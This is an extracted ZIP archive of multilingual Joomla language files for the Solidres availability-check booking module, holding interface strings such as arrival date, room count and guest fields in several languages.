Jmod_sr_checkavailability/language/de-DE/de-DE.mod_sr_checkavailability.ininu&1i�MOD_SR_CHECKAVAILABILITY="Solidres - Modul Verf&uuml;gbarkeit Abfragen"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres: Modul Verf&uuml;gbarkeit Abfragen"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Ankunft"
SR_SEARCH_CHECKOUT_DATE="Abreise"
SR_SEARCH="pr&uuml;fen"
SR_RESET="zur&uuml;cksetzen"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Ziel itemid"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Geben Sie die itemid Ihres Solidres Men&uuml; ein, damit die Ergebnisse korrekt angezeigt werden k&ouml;nnen!"
SR_YOUR_RESERVATION="Ihre Reservierung"
SR_SEARCH_ROOMS="Zimmer"
SR_SEARCH_ROOM="Zimmer"
SR_SEARCH_ROOM_ADULTS="Erwachsene"
SR_SEARCH_ROOM_CHILDREN="Kinder"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Max Anzahl der Zimmer"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Max Anzahl der Zimmer eingeben die in der Webseite ausgw&auml;hlt werden d&uuml;rfen. Standard ist 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Max Anzahl der Erwachsenen Personen"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Max Anzahl der Personen eingeben die in der Webseite ausgw&auml;hlt werden d&uuml;rfen. Standard ist 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Max Anzahl der Kinder"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Max Anzahl der Kinder eingeben die in der Webseite ausgew&auml;hlt werden d&uuml;rfen. Standard ist 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Feld f&uuml;r Max Anzahl aktivieren"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Zimmer Anzahl im Frontend aktivieren, damit G&auml;ste die Anzahl der Zimmer, Personen und Kinder ausw&auml;hlen k&ouml;nnen."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Aktiviere Zimmertyp dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="Diese Option aktiviert das Zimmertyp dropdown im Front End f&uuml;r die Gastauswahl, die Zimmertypen Liste wird vom Standardgut abgerufen."
SR_SEARCH_ROOMTYPES="Zimmertypen"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Verstecke Zimmeranzahl"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Verstecke Zimmeranzahlsoption, so dass der Gast keine Anzahl an Zimmern ausw&auml;hlen kann, diese Option ist passend f&uuml;r Apartment Buchungsseiten."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Vereine Erwachsene & Kinder"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Anstatt zwei separate Felder f&uuml;r die Anzahl an Erwachsenen und Kindern anzuzeigen, nur 1 Feld f&uuml;r die Anzahl an G&auml;sten anzeigen"
SR_SEARCH_GUESTS="G&auml;ste"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="Keine standard und ver&ouml;ffentlichte Unterkunft gefunden. Stelle sicher, dass du mindestens 01 Standardunterkunft in deinem System hast, die ver&ouml;ffentlicht ist."
PK!x��!!Nmod_sr_checkavailability/language/el-GR/el-GR.mod_sr_checkavailability.sys.ininu&1i�; GR translation Completed on March 10, 2015, By Yan Tsarbopoulo

MOD_SR_CHECKAVAILABILITY="Solidres - Module για Έλεγχο Διαθεσιμότητας"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres - Module για Έλεγχο Διαθεσιμότητας στο Front-End"PK!�E�B�
�
Jmod_sr_checkavailability/language/el-GR/el-GR.mod_sr_checkavailability.ininu&1i�; GR translation Completed on March 10, 2015, By Yan Tsarbopoulo

MOD_SR_CHECKAVAILABILITY="Solidres - Module για Έλεγχο Διαθεσιμότητας"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres: Module για Έλεγχο Διαθεσιμότητας"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Ημερομηνία Αφιξης"
SR_SEARCH_CHECKOUT_DATE="Ημερομηνία Αναχώρησης"
SR_SEARCH="Αναζήτηση"
SR_RESET="Εκκαθάριση"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Στόχος itemID"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Πληκτρολογήστε το itemID του μενού Solidres σας, ώστε η σελίδα αποτελεσμάτων να εμφανιστεί σωστά"
SR_YOUR_RESERVATION="Η Κράτησή σας"
SR_SEARCH_ROOMS="Δωμάτια"
SR_SEARCH_ROOM="Δωμάτιο"
SR_SEARCH_ROOM_ADULTS="Ενήλικες"
SR_SEARCH_ROOM_CHILDREN="Παιδιά"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Μέγιστος Αριθμός δωματίων"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Εισάγετε τον μέγιστο αριθμό Δωματίων που θα μπορούσε να επιλεγεί στο Front-End του Site. Η προεπιλογή είναι 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Μέγιστος Αριθμός Ενηλίκων"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Εισάγετε τον μέγιστο αριθμό Ενηλίκων που θα μπορούσε να επιλεγεί στο Front-End του Site. Η προεπιλογή είναι 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Μέγιστος Αριθμός Παιδιών"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Εισάγετε τον μέγιστο αριθμό Παιδιών που θα μπορούσε να επιλεγεί στο Front-End του Site. Η προεπιλογή είναι 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Ενεργοποίηση Ποσότητας Δωματίων"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Ενεργοποίηση έτσι ώστε στο Front-End να επιτραπεί στούς Επισκέπτες η επιλογή ποσότητας Δωματίων, Ενηλίκων και Παιδιών."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default property."
SR_SEARCH_ROOMTYPES="Room types"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Hide room quantity"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Merge adult & child"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Guests"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="No default and published property found. Make sure that you have at least 01 default property in your system and it must be published."PK!x�����Nmod_sr_checkavailability/language/pl-PL/pl-PL.mod_sr_checkavailability.sys.ininu&1i�; Wersja polska: Krzysztof Wandas

MOD_SR_CHECKAVAILABILITY="Solidres - Moduł wyszukiwania rezerwacji"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Moduł wyszukiwania rezerwacji dla Solidres"PK!�m�pk
k
Jmod_sr_checkavailability/language/pl-PL/pl-PL.mod_sr_checkavailability.ininu&1i�; Wersja polska: Krzysztof Wandas

MOD_SR_CHECKAVAILABILITY="Solidres - Moduł wyszukiwania rezerwacji"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Moduł wyszukiwania rezerwacji dla Solidres"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Data przyjazdu"
SR_SEARCH_CHECKOUT_DATE="Data wyjazdu"
SR_SEARCH="Szukaj"
SR_RESET="Wyczyść"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Menu ID"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Wprowadź Id swojego menu Solidres aby strona wyników wyświetlała się prawidłowo."
SR_YOUR_RESERVATION="Twoja rezerwacja"
SR_SEARCH_ROOMS="Ilość pokoi"
SR_SEARCH_ROOM="Pokój"
SR_SEARCH_ROOM_ADULTS="Liczba dorosłych"
SR_SEARCH_ROOM_CHILDREN="Liczba dzieci"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Max pokoi"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Wprowadź maksymalną liczbę pokoi, która może być wybrana na stronie. Domyślnie jest to 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Max dorosłych"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Wprowadź maksymalną liczbę dorosłych, która może być wybrana na stronie. Domyślnie jest to 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Max dzieci"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Wprowadź maksymalną liczbę dzieci, która może być wybrana na stronie. Domyślnie jest to 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Włącz ilość"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Włącz ilość na stronie aby umożliwić gościom wybór ilości pokoi, dorosłych i dzieci."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default property."
SR_SEARCH_ROOMTYPES="Room types"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Hide room quantity"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Merge adult & child"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Guests"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="No default and published property found. Make sure that you have at least 01 default property in your system and it must be published."PK!VFo���Jmod_sr_checkavailability/language/he-IL/he-IL.mod_sr_checkavailability.ininu&1i�MOD_SR_CHECKAVAILABILITY="Solidres - מודול בדיקת זמינות"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - מודול בדיקת זמינות מאפשר לאורחים בחזית לבדוק זמינות עבור יחידות האירוח המוגדרות <strong>כברירת מחדל</strong> באפשרותך לשנות את יחידת האירוח המוגדרת כברירת מחדל באמצעות עריכת יחידת האירוח - בלשונית פרסום - שדה ברירת מחדל.</p><p>מודול זה יכול להיות מפורסם במודול התבנית שלך או להיטמע במאמרי Joomla על ידי שימוש בתחביר הבא: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. הערה: החלף את 'Your module title' עם כותרת המודול שלך</p>"

; Param Strings
SR_SEARCH_CHECKIN_DATE="תאריך הגעה"
SR_SEARCH_CHECKOUT_DATE="תעריך עזיבה"
SR_SEARCH="בדיקה"
SR_RESET="אתחול"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="מס׳ מזהה של מוצר המטרה"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="בחר פריט בתפריט אליו ינותב מודול זה, זה נדרש על מנת להציג את דף התוצאות בצורה נכונה. בדרך כלל סוג התפריט הזה צריך להיות 'הצג יחידת אירוח יחידה'"
SR_YOUR_RESERVATION="ההזמנה שלך"
SR_SEARCH_ROOMS="חדרים"
SR_SEARCH_ROOM="חדר"
SR_SEARCH_ROOM_ADULTS="מבוגרים"
SR_SEARCH_ROOM_CHILDREN="ילדים"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="מס׳ חדרים מקסימלי"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="הכנס את מספר החדרים המקסימלי הניתן לבחירה בחזית. ברירת המחדל היא 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="מסק מבוגרים מקסימלי"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="הכנס את מספר המבוגרים המקסימלי הניתן לבחירה בחזית. ברירת המחדל היא 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="מס׳ ילדים מקסימלי"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="הכנס את מספר הילדים המקסימלי הניתן לבחירה בחזית. ברירת המחדל היא 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="אפשר כמות חדרים"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="אפשר כמות חדרים בחזית על מנת לאפשר לאורחים לבחור כמות חדרים, כמות מבוגרים וכמות ילדים"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="אפשר תפריט נגלל של סוגי חדרים"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="אפשרות זו תאפשר תפריט נגלל לבחירת סוג חדר בחזית על ידי האורח, רשימת סוגי החדרים תישאב מיחידת האירוח המוגדרת כברירת מחדל"
SR_SEARCH_ROOMTYPES="סוגי חדרים"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="הסתר כמות חדרים"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="הסתר אפשרות כמות חדרים כדי שהאורח לא יוכל חבור מספר חדרים, אפשרות זו מתאימה לאתרי הזמנת דירות"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="אחד ילדים ומבוגרים"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="במקום להציג בשני שדות נפרדים כמות ילדים וכמות מבוגרים, הצג שדה אחד עבור כמות אורחים"
SR_SEARCH_GUESTS="אורחים"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="לא נמצאה יחידת אירוח ברירת מחדל ומפורסמת. אנא וודא שיש לך לפחות יחידת ברירת מחדל אחת במערכת ועליה להיות מפורסמת."PK!ꪕ�JJNmod_sr_checkavailability/language/he-IL/he-IL.mod_sr_checkavailability.sys.ininu&1i�MOD_SR_CHECKAVAILABILITY="Solidres - מודול בדיקת זמינות"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - מודול בדיקת זמינות מאפשר לאורחים בחזית לבדוק זמינות עבור יחידות האירוח המוגדרות <strong>כברירת מחדל</strong> באפשרותך לשנות את יחידת האירוח המוגדרת כברירת מחדל באמצעות עריכת יחידת האירוח - בלשונית פרסום - שדה ברירת מחדל.</p><p>מודול זה יכול להיות מפורסם במודול התבנית שלך או להיטמע במאמרי Joomla על ידי שימוש בתחביר הבא: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. הערה: החלף את 'Your module title' עם כותרת המודול שלך</p>"PK!F�n;��Nmod_sr_checkavailability/language/fr-FR/fr-FR.mod_sr_checkavailability.sys.ininu&1i�MOD_SR_CHECKAVAILABILITY="Solidres - Module recherche disponibilité"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres - le module pour la recherche de la disponiblité"PK!�X�
�
Jmod_sr_checkavailability/language/fr-FR/fr-FR.mod_sr_checkavailability.ininu&1i�; Administrator Module Language File
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres: modulo per la verifica della disponibilità"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Arrivée"
SR_SEARCH_CHECKOUT_DATE="Départ"
SR_SEARCH="Rechercher"
SR_RESET="Annuler"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="ItemID target"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Entrez l'itemID de votre menu Solidres, de manière que la page des résultats peut être  visualisée correctement"
SR_YOUR_RESERVATION="Votre réservation"
SR_SEARCH_ROOMS="Chambres"
SR_SEARCH_ROOM="Chambre"
SR_SEARCH_ROOM_ADULTS="Adultes"
SR_SEARCH_ROOM_CHILDREN="Enfants"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Numero maximum de chambres"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Indiquer le nombre maximum des pièces que vous pouvez choisir dans le front-end. Par défaut est 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Numero maximum des adultes"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Indiquer le nombre maximum des adultes  que vous pouvez choisir dans le front-end. Par défaut est 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Numero maximum des enfants"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Indiquer le nombre maximum des enfants que vous pouvez choisir dans le front-end. Par défaut est 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Habiliter  la quantité des chambres"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Habiliter  la quantité des chambres dans le front-end pour faire choisir aux utilisateurs la quantité des chambres, des adultes et des enfants."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default property."
SR_SEARCH_ROOMTYPES="Room types"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Hide room quantity"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Merge adult & child"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Guests"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="No default and published property found. Make sure that you have at least 01 default property in your system and it must be published."PK!g�)�eeNmod_sr_checkavailability/language/en-GB/en-GB.mod_sr_checkavailability.sys.ininu&1i�MOD_SR_CHECKAVAILABILITY="Solidres - Module check availability"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Module check availability is used in front-end by guests to check availability for the <strong>default</strong> property. You can change the default property by editing your property - tab Publishing - field Default.</p><p>This module can be published in your template module positions or embed into Joomla articles using the following syntax: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. Note: you should replace 'Your module title' with your actual module title</p>"PK!���PPJmod_sr_checkavailability/language/en-GB/en-GB.mod_sr_checkavailability.ininu&1i�MOD_SR_CHECKAVAILABILITY="Solidres - Module check availability"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Module check availability is used in front-end by guests to check availability for the <strong>default</strong> property. You can change the default property by editing your property - tab Publishing - field Default.</p><p>This module can be published in your template module positions or embed into Joomla articles using the following syntax: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. Note: you should replace 'Your module title' with your actual module title</p>"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Arrival Date"
SR_SEARCH_CHECKOUT_DATE="Departure Date"
SR_SEARCH="Check"
SR_RESET="Reset"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Target itemid"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Choose a menu item that this module will redirect to, it is required in order for the results page to be displayed correctly. Normally the type of this menu should be 'Show single property'"
SR_YOUR_RESERVATION="Your reservation"
SR_SEARCH_ROOMS="Rooms"
SR_SEARCH_ROOM="Room"
SR_SEARCH_ROOM_ADULTS="Adults"
SR_SEARCH_ROOM_CHILDREN="Children"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Max room number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Enter the maximum number of rooms quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Max adult number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Enter the maximum number of adult quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Max child number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Enter the maximum number of children quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Enable room quantity"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Enable room quantity in front end to allow guest choosing room quantity, adult quantity and children quantity."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default property."
SR_SEARCH_ROOMTYPES="Room types"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Hide room quantity"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Merge adult & child"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Guests"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="No default and published property found. Make sure that you have at least 01 default property in your system and it must be published."PK!�x���	�	Jmod_sr_checkavailability/language/cs-CZ/cs-CZ.mod_sr_checkavailability.ininu&1i�
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres: Modul pro zjištění dostupnosti"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Datum příjezdu"
SR_SEARCH_CHECKOUT_DATE="Datum odjezdu"
SR_SEARCH="Zkontroluj"
SR_RESET="Reset"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Cílové itemid"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Vložte itemid pro Vaše Solidres menu, pro správné zobrazení stránky výsledku"
SR_YOUR_RESERVATION="Vaše rezervace"
SR_SEARCH_ROOMS="Rooms"
SR_SEARCH_ROOM="Room"
SR_SEARCH_ROOM_ADULTS="Adults"
SR_SEARCH_ROOM_CHILDREN="Children"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Max room number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Enter the maximum number of rooms quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Max adult number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Enter the maximum number of adult quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Max child number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Enter the maximum number of children quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Enable room quantity"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Enable room quantity in front end to allow guest choosing room quantity, adult quantity and children quantity."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default property."
SR_SEARCH_ROOMTYPES="Room types"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Hide room quantity"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Merge adult & child"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Guests"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="No default and published property found. Make sure that you have at least 01 default property in your system and it must be published."PK!3pߋ�Nmod_sr_checkavailability/language/cs-CZ/cs-CZ.mod_sr_checkavailability.sys.ininu&1i�MOD_SR_CHECKAVAILABILITY="Solidres - Modul dostupnosti"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres - Module ověření dostupnosti"PK!@Mֲ##Jmod_sr_checkavailability/language/ru-RU/ru-RU.mod_sr_checkavailability.ininu&1i�MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres: Модуль проверки доступности"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Модуль проверки доступности используется гостями, чтобы проверить доступность для объекта <strong>default</strong> по умолчанию. Вы можеие изменить объект по умолчанию, отредактировав таблицу объектов/поле публикации по умолчанию. </p><p> Этот модуль может быть публиковаться в модуле шаблона или быть встроенным в Joomla  с использованием следующей формулы: <strong>{loadmodule sr_checkavailability,Имя вашего модуля}</strong>.  Обратите внимание: нужно заменить  'Имя вашего модуля' на заголовок модуля</p>"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Дата заезда"
SR_SEARCH_CHECKOUT_DATE="Дата выезда"
SR_SEARCH="Проверить"
SR_RESET="Сбросить"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Целевой itemid"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Выберите пункт меню, на который будет перенаправлять данный модуль. Необходимо для правильного отображения результатов поиска."
SR_YOUR_RESERVATION="Ваше бронирование"
SR_SEARCH_ROOMS="Номера"
SR_SEARCH_ROOM="Номер"
SR_SEARCH_ROOM_ADULTS="Взрослые"
SR_SEARCH_ROOM_CHILDREN="Дети"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Максимальное кол-во номеров"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Введите максимальное количество номеров, которые можно будет выбрать на экране. По умолчанию составляет 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Максимальное кол-во взрослых"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Введите максимальное кол-во взрослых, которое можно будет выбрать на экране. По умолчанию составляет 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Максимальное кол-во детей"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Введите максимальное кол-во детей, которое можно будет выбрать на экране. По умолчанию составляет 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Включить количество номеров"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Включить количество номеров на экране, чтобы позволить гостям выбрать номера, количество взрослых и количество детей."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Включить выпадающий список с номерами"
